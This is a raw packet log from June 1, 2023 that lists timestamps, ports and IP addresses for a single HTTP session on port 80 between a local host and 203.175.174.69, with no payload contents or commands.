Jun 1, 2023 12:14:23.964314938 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964337111 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964351892 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.964356899 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964379072 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964400053 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964416027 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.964421034 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964441061 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964461088 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964473963 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.964482069 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964503050 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964514971 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.964521885 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964544058 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964564085 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964570999 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.964584112 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964591980 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.964606047 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964627028 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964631081 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.964648008 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964667082 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964670897 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.964687109 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964708090 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964715004 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.964728117 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964741945 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964755058 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.964760065 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964778900 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964797020 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964816093 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964835882 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964854956 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964859962 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.964874983 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964894056 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964907885 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.964914083 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964932919 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964952946 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964970112 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.964975119 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964989901 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.964996099 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.965008020 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965022087 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965032101 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.965042114 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965061903 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965066910 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.965081930 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965096951 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.965101004 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965116978 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965126038 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.965136051 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965156078 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965172052 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.965174913 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965195894 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965213060 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.965214014 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965234995 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965245962 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.965251923 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965272903 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965277910 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.965293884 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965313911 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.965313911 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965331078 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:23.965367079 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.965631962 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:23.965631962 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.133851051 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.133954048 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134012938 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134061098 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134062052 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.134109020 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134174109 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134237051 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134243011 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.134284973 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134300947 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.134332895 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134349108 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.134392977 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134440899 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134486914 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134490013 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.134536028 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134541035 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.134598017 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134645939 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134695053 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134711981 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.134744883 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134794950 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134802103 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.134845018 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134907007 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.134954929 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135015011 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135077953 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.135080099 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135130882 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135176897 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135238886 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135262966 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.135288000 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135335922 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135358095 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.135384083 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135406017 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.135432959 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135481119 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135509014 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.135528088 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135576010 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135637045 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135684013 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135726929 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.135734081 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135781050 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.135828972 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135843039 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.135891914 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.135941982 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.135972977 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136116982 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136167049 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136195898 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.136212111 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136257887 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.136305094 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136353970 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136404037 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136408091 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.136452913 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136501074 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136507034 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.136548996 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136605978 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136657000 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136672020 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.136708021 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136728048 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.136760950 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136811972 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136859894 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.136862993 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136909962 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.136923075 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.136961937 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137010098 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137023926 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.137057066 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137108088 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137116909 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.137156963 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137206078 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137217999 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.137254000 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137303114 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137307882 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.137350082 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137398958 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137406111 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.137444973 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137494087 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137497902 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.137541056 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137604952 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.137604952 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137651920 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137701035 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137706995 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.137753010 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137804985 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137808084 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.137854099 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137903929 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.137911081 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.137952089 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138015032 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138052940 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.138066053 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138114929 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138137102 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.138165951 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138216019 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138231993 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.138276100 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138370037 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138392925 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.138417959 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138472080 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.138479948 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138526917 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138586998 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138586998 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.138637066 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138683081 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.138684034 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138731956 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138782978 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138787031 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.138829947 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138876915 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138881922 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.138925076 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138972998 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.138972998 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139033079 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139075041 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139081001 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139127970 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139169931 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139183044 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139225960 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139266968 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139266968 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139308929 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139350891 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139357090 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139391899 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139395952 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139431953 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139436007 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139472008 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139477968 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139513016 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139517069 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139554024 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139564991 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139595032 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139600039 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139635086 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139640093 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139676094 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139681101 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139715910 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139724016 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139759064 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139786005 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139801025 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139811993 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139842033 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139847994 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139883995 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139889956 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139924049 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139931917 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.139966011 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.139975071 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.140007973 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.140018940 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.140048981 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.140053034 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.140089989 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.140100002 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.140130997 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.140136003 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.140171051 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.140182018 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.140213966 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.140219927 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.140254021 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.140259981 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.140307903 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.140316963 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.140368938 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.309600115 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.309669971 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.477736950 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.477981091 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.646567106 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.646718979 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.814474106 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.814563036 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:24.982383966 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:24.982577085 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:25.150537014 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:25.150693893 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:25.318594933 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:25.318717003 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:25.486538887 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:25.486737013 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:25.654625893 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:25.654762030 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:25.822554111 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:25.822635889 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:25.990361929 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:25.990473986 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:26.158298969 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:26.158413887 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:26.326280117 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:26.326467037 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:26.494314909 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:26.494395018 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:26.662198067 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:26.662323952 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:26.830166101 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:26.830343962 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:26.998085976 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:26.998265982 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:27.167221069 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:27.167440891 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:27.335238934 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:27.335412025 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:27.503474951 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:27.503545046 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:27.671287060 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:27.671360016 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:27.839104891 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:27.839229107 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:28.006948948 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:28.007041931 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:28.174928904 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:28.175102949 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:28.342801094 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:28.342873096 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:28.510611057 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:28.510763884 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:28.678600073 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:28.678749084 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:28.798535109 CEST	80	49694	203.175.174.69	192.168.2.6
